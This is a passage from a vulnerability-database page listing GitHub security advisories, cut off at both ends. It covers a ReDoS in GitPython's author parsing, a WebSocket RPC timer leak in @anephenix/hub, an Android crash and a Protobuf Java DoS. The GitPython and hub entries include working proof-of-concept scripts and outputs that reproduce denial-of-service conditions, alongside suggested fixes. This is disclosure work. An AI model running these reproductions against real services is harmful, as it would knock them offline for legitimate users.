os.path.join(target_dir, \".git\", \"objects\", sha[:2])\n    os.makedirs(objdir, exist_ok=True)\n    with open(os.path.join(objdir, sha[2:]), \"wb\") as f:\n        f.write(compressed)\n\n    run([\"git\", \"update-ref\", \"refs/heads/master\", sha], cwd=target_dir)\n\n    print(f\"Malicious commit sha : {sha}\")\n    print(f\"Payload size         : {payload_size} bytes\")\n    verify = subprocess.run(\n        [\"git\", \"cat-file\", \"-t\", sha],\n        cwd=target_dir, capture_output=True, text=True\n    )\n    print(f\"git cat-file -t confirms: {verify.stdout.strip()}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Script 2 \u2014 trigger the vulnerability (`trigger_redos.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nOpens the repository with GitPython and times commit.author access,\nwhich triggers Actor._from_string() -\u003e Actor.name_email_regex.search().\n\nUsage: python3 trigger_redos.py \u003crepo_dir\u003e \u003ccommit_sha\u003e\n\"\"\"\nimport sys, time, git\n\ndef main():\n    if len(sys.argv) != 3:\n        print(f\"usage: {sys.argv[0]} \u003crepo_dir\u003e \u003ccommit_sha\u003e\")\n        sys.exit(1)\n\n    repo   = git.Repo(sys.argv[1])\n    commit = repo.commit(sys.argv[2])\n\n    print(\"Accessing commit.author \u2014 triggers Actor._from_string()...\")\n    t0     = time.time()\n    author = commit.author          # \u2190 this single line causes the hang\n    elapsed = time.time() - t0\n\n    print(f\"Author name length : {len(author.name)} chars\")\n    print(f\"Elapsed            : {elapsed:.3f} seconds\")\n    print(\"RESULT: VULNERABLE\" if elapsed \u003e 5 else \"RESULT: not triggered\")\n\nif __name__ == \"__main__\":\n    main()\n```\n**Execution and observed output:**\n\n\n\n\n$ python3 craft_malicious_repo.py /tmp/victim-repo 200000\nMalicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de\nPayload size : 200000 bytes\ngit cat-file -t confirms: commit\n\n$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de\nAccessing commit.author \u2014 triggers Actor._from_string()...\nAuthor name length : 200014 chars\nElapsed : 150.488 seconds\nRESULT: VULNERABLE\n\n\n\n**Docker reproduction (fully isolated environment):**\n\n```bash\ndocker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash\n\n# Inside the container:\napt-get update \u0026\u0026 apt-get install -y git\ngit clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython\npip install -e /work/GitPython\n\npython3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000\n# note the SHA printed, then:\npython3 /work/poc/trigger_redos.py /work/victim-repo \u003cSHA\u003e\n```\n\nThe `python:3.8-bookworm` base image matches the one used in GitPython\u0027s own\n`fuzzing/local-dev-helpers/Dockerfile`.\n\n---\n\n### Impact\n\n**Who is affected:**\n\nAny application that uses GitPython to parse commits from a source it does not\nfully control. High-risk deployments include:\n\n- **CI/CD systems** (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)\n  that clone and inspect third-party pull requests \u2014 one malicious commit in a PR\n  can stall every worker that processes it.\n- **Code-hosting or code-review web services** that render commit author information\n  \u2014 a single crafted push blocks every page render or API response that touches that\n  commit\u0027s metadata.\n- **Security or compliance scanners** that walk repository history across many\n  repositories \u2014 one crafted object in any repository exhausts a scanner worker.\n\n**Severity of impact:**\n\nA 200 KB author field blocks a process for ~150 seconds per single `.author`\naccess. When `iter_commits()` or `blame` are used, every commit in a history\ntraversal can be independently crafted, multiplying the total hang time by the\nnumber of commits processed. There is no confidentiality or integrity impact \u2014\nthis is a pure availability / resource-exhaustion vulnerability.\n\n---\n\n### Suggested Fix\n\nReplace the vulnerable pattern with one that cannot backtrack catastrophically.\nThe minimal, behavior-preserving fix is to exclude `\u003c` and `\u003e` from the name\ngroup, removing the ambiguity that forces O(n\u00b2) backtracking:\n\n```python\n# git/util.py, line 863\n# Before (vulnerable):\nname_email_regex = re.compile(r\"(.*) \u003c(.*?)\u003e\")\n\n# After (fixed \u2014 identical output for all well-formed input):\nname_email_regex = re.compile(r\"([^\u003c\u003e]*) \u003c([^\u003c\u003e]*)\u003e\")\n```\n\nBecause the name group can no longer itself contain a `\u003c` character, the engine\nhas exactly one candidate position to try when a closing `\u003e` is absent \u2014 and fails\nin O(n) time instead of O(n\u00b2). Legitimate actor strings (`Name \u003cemail\u003e`) never\ncontain `\u003c` or `\u003e` in either field, so this change produces identical results for\nall valid input.\n\nAs defense in depth, independently of the regex fix, bounding the maximum number\nof characters GitPython will attempt to parse in an author/committer line (e.g.\nrejecting strings longer than 4096 bytes before passing them to any regex) would\nfurther limit the blast radius of any future ReDoS class in this parser.",
  "id": "GHSA-g5vv-9gxw-82hx",
  "modified": "2026-09-30T23:29:14Z",
  "published": "2026-09-30T23:29:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex \u2014 commit author/committer field parsing"
}

GHSA-G5VV-Q72C-7J78

Vulnerability from github – Published: 2026-07-24 21:47 – Updated: 2026-08-13 17:24
VLAI
Summary
@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion
Details

Summary

@anephenix/hub starts a setInterval polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).

Details

When a client connects, loadDefaultConnectionEventListeners (registered in src/lib/index.ts:128) adds a connection listener that calls requestClientId({ ws, rpc }) for every new WebSocket (src/lib/index.ts:262). requestClientId issues an RPC send for the get-client-id action (src/lib/clientId.ts:112), which internally calls rpc.send.

Inside rpc.send, the payload is pushed onto this.requests (src/lib/rpc.ts:282) and waitForReply is invoked. waitForReply starts a setInterval that polls responses[] every 10 ms for a matching reply (src/lib/rpc.ts:250):

// src/lib/rpc.ts:250–267
interval = setInterval(() => {
    const response = responses.find(
        (r) => r.id === id && r.action === action,
    );
    if (response) {
        if (interval) clearInterval(interval);
        // ... resolve and cleanup
        this.cleanupRPCCall(response);
    }
}, 10);

clearInterval is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the this.requests entry. The close handler registered in loadDefaultConnectionEventListeners (src/lib/index.ts:128–134) only calls pubsub.unsubscribeClientFromAllChannels; it does not cancel pending RPC requests for that socket.

Data flow (source → sink):

  1. src/lib/index.ts:269 — wss.on("connection") accepts any remote WebSocket (no authentication).
  2. src/lib/index.ts:272 — connection listeners are iterated and invoked.
  3. src/lib/index.ts:262 — requestClientId({ ws, rpc: this.rpc }) is called for every connection by default.
  4. src/lib/clientId.ts:112 — rpc.send({ ws, action: 'get-client-id' }) creates an RPC request.
  5. src/lib/rpc.ts:282 — this.requests.push(payload) registers the pending request.
  6. src/lib/rpc.ts:250 — setInterval(..., 10) begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.

PoC

Prerequisites: Docker must be available on the host.

Step 1 — Build the verification image:

docker build --no-cache \
  -f vuln-001/Dockerfile \
  -t hub-vuln-001:latest \
  reports/npm_web_272_anephenix__hub

Step 2 — Run the container:

docker run --rm --network none hub-vuln-001:latest

The container runs verify.mjs, which: 1. Starts a Hub server on a local port. 2. Opens a WebSocket and waits for the server's get-client-id RPC message without replying. 3. Closes the socket and waits 300 ms. 4. Inspects hub.rpc.requests.length — it must remain 1 even though hub.wss.clients.size is 0. 5. Opens five more sockets the same way (batch), then verifies that pendingRpcRequests equals 6.

Step 3 — Alternatively, run the Python orchestrator directly:

python3 vuln-001/poc.py

Expected output (confirmed):

{
  "snapshotAfterClose":  {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
  "snapshotAfterBatch":  {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}

pendingRpcRequests grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.

Minimal inline reproduction (without Docker, inside the repository after npm ci && npm run build):

node --input-type=module - <<'EOF'
import Hub from './dist/esm/index.js';
import { WebSocket } from 'ws';

const port = 8766;
const hub = new Hub({ port });
hub.listen();
const ws = new WebSocket(`ws://localhost:${port}`);

await new Promise((resolve) => ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
  serverClients:      hub.wss.clients.size,
  pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOF

Expected:

{"serverClients": 0, "pendingRpcRequests": 1}

Impact

This is an unauthenticated Denial-of-Service vulnerability. Any network-reachable @anephenix/hub server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's get-client-id RPC causes the server process to accumulate one setInterval timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.

No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket connect followed by silence is sufficient.

Reproduction artifacts

Dockerfile

FROM node:20-alpine

RUN apk add --no-cache python3 make g++

WORKDIR /app

# Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts

# Copy the rest of the source and build
COPY repo/ ./
RUN npm run build

# Copy the vulnerability verification script into /app so node_modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs

CMD ["node", "/app/verify.mjs"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)

Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.

Usage:
    python3 poc.py

Exit codes:
    0  — vulnerability confirmed (PASS)
    1  — not reproduced (FAIL)
    2  — environment / build error
"""

import json
import subprocess
import sys
from pathlib import Path

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT   = SCRIPT_DIR.parent              # …/npm_web_272_anephenix__hub/
DOCKERFILE  = SCRIPT_DIR / "Dockerfile"
POC_TAG     = "hub-vuln-001:latest"

BUILD_CMD = [
    "docker", "build",
    "--no-cache",
    "-f", str(DOCKERFILE),
    "-t", POC_TAG,
    str(REPO_ROOT),   # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]

RUN_CMD = [
    "docker", "run",
    "--rm",
    "--network", "none",  # no external network access needed
    POC_TAG,
]


def banner(msg: str) -> None:
    print(f"\n{'='*60}\n  {msg}\n{'='*60}")


def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    print("$", " ".join(cmd))
    return subprocess.run(cmd, **kwargs)


def build_image() -> None:
    banner("Phase 1 — Building Docker image")
    result = run(BUILD_CMD, capture_output=False)
    if result.returncode != 0:
        print("[ERROR] Docker build failed.", file=sys.stderr)
        sys.exit(2)
    print("[OK] Image built:", POC_TAG)


def run_poc() -> dict:
    banner("Phase 2 — Running vulnerability verification inside container")
    result = run(RUN_CMD, capture_output=True, text=True)

    print("--- container stdout ---")
    print(result.stdout)
    if result.stderr:
        print("--- container stderr ---")
        print(result.stderr)

    # The container exits 0 on confirmed leak, 1 otherwise.
    if result.returncode == 2:
        print("[ERROR] Verification script crashed.", file=sys.stderr)
        sys.exit(2)

    try:
        data = json.loads(result.stdout)
    except json.JSONDecodeError as exc:
        print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr)
        sys.exit(2)

    return data, result.returncode


def evaluate(data: dict, container_exit: int) -> tuple[bool, str]:
    """Return (passed, evidence_summary)."""
    after_close = data.get("snapshotAfterClose", {})
    after_batch  = data.get("snapshotAfterBatch", {})

    leaked_single = (
        after_close.get("pendingRpcRequests", 0) > 0 and
        after_close.get("serverClients", -1) == 0 and
        after_close.get("clientState", -1) == 3          # WebSocket.CLOSED
    )

    leaked_batch = (
        after_batch.get("pendingRpcRequests", 0) ==
        after_batch.get("expectedPendingRpcRequests", -1)
    )

    passed = leaked_single and leaked_batch and container_exit == 0

    evidence = (
        f"snapshotAfterClose={json.dumps(after_close)}; "
        f"snapshotAfterBatch={json.dumps(after_batch)}; "
        f"container_exit={container_exit}"
    )
    return passed, evidence


def main() -> None:
    build_image()
    data, container_exit = run_poc()

    banner("Phase 3 — Evaluating results")
    passed, evidence = evaluate(data, container_exit)

    if passed:
        print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.")
    else:
        print("[FAIL] Leak NOT observed — check container output above.")

    return passed, evidence, data


if __name__ == "__main__":
    passed, evidence, raw = main()

    verdict = "PASS" if passed else "FAIL"
    reason = (
        "소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 "
        "런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, "
        "배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨."
        if passed else
        "컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음."
    )

    result_path = SCRIPT_DIR / "phase2_result.json"
    phase2 = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {Path(__file__).name}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "verify.mjs", "poc.py"],
    }

    result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))
    print(f"\n[INFO] Results written to {result_path}")

    sys.exit(0 if passed else 1)
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@anephenix/hub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:47:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@anephenix/hub` starts a `setInterval` polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies \u2014 which requires no authentication or special configuration \u2014 the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).\n\n### Details\n\nWhen a client connects, `loadDefaultConnectionEventListeners` (registered in `src/lib/index.ts:128`) adds a connection listener that calls `requestClientId({ ws, rpc })` for every new WebSocket (`src/lib/index.ts:262`). `requestClientId` issues an RPC send for the `get-client-id` action (`src/lib/clientId.ts:112`), which internally calls `rpc.send`.\n\nInside `rpc.send`, the payload is pushed onto `this.requests` (`src/lib/rpc.ts:282`) and `waitForReply` is invoked. `waitForReply` starts a `setInterval` that polls `responses[]` every 10 ms for a matching reply (`src/lib/rpc.ts:250`):\n\n```ts\n// src/lib/rpc.ts:250\u2013267\ninterval = setInterval(() =\u003e {\n    const response = responses.find(\n        (r) =\u003e r.id === id \u0026\u0026 r.action === action,\n    );\n    if (response) {\n        if (interval) clearInterval(interval);\n        // ... resolve and cleanup\n        this.cleanupRPCCall(response);\n    }\n}, 10);\n```\n\n`clearInterval` is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the `this.requests` entry. The `close` handler registered in `loadDefaultConnectionEventListeners` (`src/lib/index.ts:128\u2013134`) only calls `pubsub.unsubscribeClientFromAllChannels`; it does not cancel pending RPC requests for that socket.\n\n**Data flow (source \u2192 sink):**\n\n1. `src/lib/index.ts:269` \u2014 `wss.on(\"connection\")` accepts any remote WebSocket (no authentication).\n2. `src/lib/index.ts:272` \u2014 connection listeners are iterated and invoked.\n3. `src/lib/index.ts:262` \u2014 `requestClientId({ ws, rpc: this.rpc })` is called for every connection by default.\n4. `src/lib/clientId.ts:112` \u2014 `rpc.send({ ws, action: \u0027get-client-id\u0027 })` creates an RPC request.\n5. `src/lib/rpc.ts:282` \u2014 `this.requests.push(payload)` registers the pending request.\n6. `src/lib/rpc.ts:250` \u2014 `setInterval(..., 10)` begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.\n\n### PoC\n\n**Prerequisites:** Docker must be available on the host.\n\n**Step 1 \u2014 Build the verification image:**\n\n```bash\ndocker build --no-cache \\\n  -f vuln-001/Dockerfile \\\n  -t hub-vuln-001:latest \\\n  reports/npm_web_272_anephenix__hub\n```\n\n**Step 2 \u2014 Run the container:**\n\n```bash\ndocker run --rm --network none hub-vuln-001:latest\n```\n\nThe container runs `verify.mjs`, which:\n1. Starts a `Hub` server on a local port.\n2. Opens a WebSocket and waits for the server\u0027s `get-client-id` RPC message without replying.\n3. Closes the socket and waits 300 ms.\n4. Inspects `hub.rpc.requests.length` \u2014 it must remain `1` even though `hub.wss.clients.size` is `0`.\n5. Opens five more sockets the same way (batch), then verifies that `pendingRpcRequests` equals `6`.\n\n**Step 3 \u2014 Alternatively, run the Python orchestrator directly:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\n**Expected output (confirmed):**\n\n```json\n{\n  \"snapshotAfterClose\":  {\"clientState\": 3, \"serverClients\": 0, \"pendingRpcRequests\": 1},\n  \"snapshotAfterBatch\":  {\"serverClients\": 0, \"pendingRpcRequests\": 6, \"expectedPendingRpcRequests\": 6}\n}\n```\n\n`pendingRpcRequests` grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.\n\n**Minimal inline reproduction** (without Docker, inside the repository after `npm ci \u0026\u0026 npm run build`):\n\n```bash\nnode --input-type=module - \u003c\u003c\u0027EOF\u0027\nimport Hub from \u0027./dist/esm/index.js\u0027;\nimport { WebSocket } from \u0027ws\u0027;\n\nconst port = 8766;\nconst hub = new Hub({ port });\nhub.listen();\nconst ws = new WebSocket(`ws://localhost:${port}`);\n\nawait new Promise((resolve) =\u003e ws.once(\u0027message\u0027, resolve));\nws.close();\nawait new Promise((resolve) =\u003e setTimeout(resolve, 300));\nconsole.log(JSON.stringify({\n  serverClients:      hub.wss.clients.size,\n  pendingRpcRequests: hub.rpc.requests.length,\n}));\nhub.server.close();\nprocess.exit(0);\nEOF\n```\n\nExpected:\n\n```json\n{\"serverClients\": 0, \"pendingRpcRequests\": 1}\n```\n\n### Impact\n\nThis is an **unauthenticated Denial-of-Service** vulnerability. Any network-reachable `@anephenix/hub` server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server\u0027s `get-client-id` RPC causes the server process to accumulate one `setInterval` timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.\n\nNo authentication, special headers, or knowledge of internal protocol details are required \u2014 a plain WebSocket `connect` followed by silence is sufficient.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-alpine\n\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Install dependencies first for layer caching\nCOPY repo/package.json repo/package-lock.json ./\nRUN npm ci --ignore-scripts\n\n# Copy the rest of the source and build\nCOPY repo/ ./\nRUN npm run build\n\n# Copy the vulnerability verification script into /app so node_modules is resolvable\nCOPY vuln-001/verify.mjs /app/verify.mjs\n\nCMD [\"node\", \"/app/verify.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 Unauthenticated WebSocket RPC Waiter Resource Exhaustion\n(@anephenix/hub v0.2.15)\n\nBuilds a Docker image containing the hub library and a verification script,\nthen runs the container to produce deterministic evidence that\nhub.rpc.requests[] entries (and their backing setInterval timers) are never\ncleaned up when a WebSocket client disconnects without replying to the\nserver\u0027s \"get-client-id\" RPC request.\n\nUsage:\n    python3 poc.py\n\nExit codes:\n    0  \u2014 vulnerability confirmed (PASS)\n    1  \u2014 not reproduced (FAIL)\n    2  \u2014 environment / build error\n\"\"\"\n\nimport json\nimport subprocess\nimport sys\nfrom pathlib import Path\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT   = SCRIPT_DIR.parent              # \u2026/npm_web_272_anephenix__hub/\nDOCKERFILE  = SCRIPT_DIR / \"Dockerfile\"\nPOC_TAG     = \"hub-vuln-001:latest\"\n\nBUILD_CMD = [\n    \"docker\", \"build\",\n    \"--no-cache\",\n    \"-f\", str(DOCKERFILE),\n    \"-t\", POC_TAG,\n    str(REPO_ROOT),   # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve\n]\n\nRUN_CMD = [\n    \"docker\", \"run\",\n    \"--rm\",\n    \"--network\", \"none\",  # no external network access needed\n    POC_TAG,\n]\n\n\ndef banner(msg: str) -\u003e None:\n    print(f\"\\n{\u0027=\u0027*60}\\n  {msg}\\n{\u0027=\u0027*60}\")\n\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n    print(\"$\", \" \".join(cmd))\n    return subprocess.run(cmd, **kwargs)\n\n\ndef build_image() -\u003e None:\n    banner(\"Phase 1 \u2014 Building Docker image\")\n    result = run(BUILD_CMD, capture_output=False)\n    if result.returncode != 0:\n        print(\"[ERROR] Docker build failed.\", file=sys.stderr)\n        sys.exit(2)\n    print(\"[OK] Image built:\", POC_TAG)\n\n\ndef run_poc() -\u003e dict:\n    banner(\"Phase 2 \u2014 Running vulnerability verification inside container\")\n    result = run(RUN_CMD, capture_output=True, text=True)\n\n    print(\"--- container stdout ---\")\n    print(result.stdout)\n    if result.stderr:\n        print(\"--- container stderr ---\")\n        print(result.stderr)\n\n    # The container exits 0 on confirmed leak, 1 otherwise.\n    if result.returncode == 2:\n        print(\"[ERROR] Verification script crashed.\", file=sys.stderr)\n        sys.exit(2)\n\n    try:\n        data = json.loads(result.stdout)\n    except json.JSONDecodeError as exc:\n        print(f\"[ERROR] Could not parse container output as JSON: {exc}\", file=sys.stderr)\n        sys.exit(2)\n\n    return data, result.returncode\n\n\ndef evaluate(data: dict, container_exit: int) -\u003e tuple[bool, str]:\n    \"\"\"Return (passed, evidence_summary).\"\"\"\n    after_close = data.get(\"snapshotAfterClose\", {})\n    after_batch  = data.get(\"snapshotAfterBatch\", {})\n\n    leaked_single = (\n        after_close.get(\"pendingRpcRequests\", 0) \u003e 0 and\n        after_close.get(\"serverClients\", -1) == 0 and\n        after_close.get(\"clientState\", -1) == 3          # WebSocket.CLOSED\n    )\n\n    leaked_batch = (\n        after_batch.get(\"pendingRpcRequests\", 0) ==\n        after_batch.get(\"expectedPendingRpcRequests\", -1)\n    )\n\n    passed = leaked_single and leaked_batch and container_exit == 0\n\n    evidence = (\n        f\"snapshotAfterClose={json.dumps(after_close)}; \"\n        f\"snapshotAfterBatch={json.dumps(after_batch)}; \"\n        f\"container_exit={container_exit}\"\n    )\n    return passed, evidence\n\n\ndef main() -\u003e None:\n    build_image()\n    data, container_exit = run_poc()\n\n    banner(\"Phase 3 \u2014 Evaluating results\")\n    passed, evidence = evaluate(data, container_exit)\n\n    if passed:\n        print(\"[PASS] Leak confirmed: RPC waiter entries persist after socket close.\")\n    else:\n        print(\"[FAIL] Leak NOT observed \u2014 check container output above.\")\n\n    return passed, evidence, data\n\n\nif __name__ == \"__main__\":\n    passed, evidence, raw = main()\n\n    verdict = \"PASS\" if passed else \"FAIL\"\n    reason = (\n        \"\uc18c\ucf13\uc774 \ub2eb\ud78c \ub4a4\uc5d0\ub3c4 hub.rpc.requests[] \ud56d\ubaa9\uacfc setInterval \ud0c0\uc774\uba38\uac00 \ud574\uc81c\ub418\uc9c0 \uc54a\uc74c\uc774 \"\n        \"\ub7f0\ud0c0\uc784 \uac80\uc0ac\ub85c \ud655\uc778\ub428. \ub2e8\uc77c \uc5f0\uacb0\uc5d0\uc11c pendingRpcRequests=1\uc774 \uc720\uc9c0\ub418\uace0, \"\n        \"\ubc30\uce58 5\uac1c \ucd94\uac00 \ud6c4 \ucd1d 6\uac1c\uac00 \ub204\uc801\ub418\uc5b4 \uc120\ud615 \ub9ac\uc18c\uc2a4 \ub204\uc218\uac00 \uc99d\uba85\ub428.\"\n        if passed else\n        \"\ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \uacb0\uacfc\uc5d0\uc11c \uacb0\uc815\uc801 \uc99d\uac70\ub97c \ud655\ubcf4\ud558\uc9c0 \ubabb\ud588\uc74c.\"\n    )\n\n    result_path = SCRIPT_DIR / \"phase2_result.json\"\n    phase2 = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": \" \".join(BUILD_CMD),\n        \"run_command\": \" \".join(RUN_CMD),\n        \"poc_command\": f\"python3 {Path(__file__).name}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"verify.mjs\", \"poc.py\"],\n    }\n\n    result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))\n    print(f\"\\n[INFO] Results written to {result_path}\")\n\n    sys.exit(0 if passed else 1)\n```",
  "id": "GHSA-g5vv-q72c-7j78",
  "modified": "2026-08-13T17:24:41Z",
  "published": "2026-07-24T21:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/security/advisories/GHSA-g5vv-q72c-7j78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/commit/67260d2a1407a77f082f02dc9e1f0891222c306d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/anephenix/hub/commit/931576db3cdbf4f1583bd2c3c8759c4f4e032ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anephenix/hub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion"
}

GHSA-G5WQ-3R27-V2X7

Vulnerability from github – Published: 2025-01-18 00:30 – Updated: 2025-01-21 18:31
VLAI
Details

In onCreate of EmergencyCallbackModeExitDialog.java, there is a possible way to crash the emergency callback mode due to a missing null check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-9447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-17T23:15:12Z",
    "severity": "MODERATE"
  },
  "details": "In onCreate of EmergencyCallbackModeExitDialog.java, there is a possible way to crash the emergency callback mode due to a missing null check. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-g5wq-3r27-v2x7",
  "modified": "2025-01-21T18:31:07Z",
  "published": "2025-01-18T00:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9447"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2018-08-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5WW-5JH7-63CX

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:35
VLAI
Summary
Protobuf Java vulnerable to Uncontrolled Resource Consumption
Details

A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0"
            },
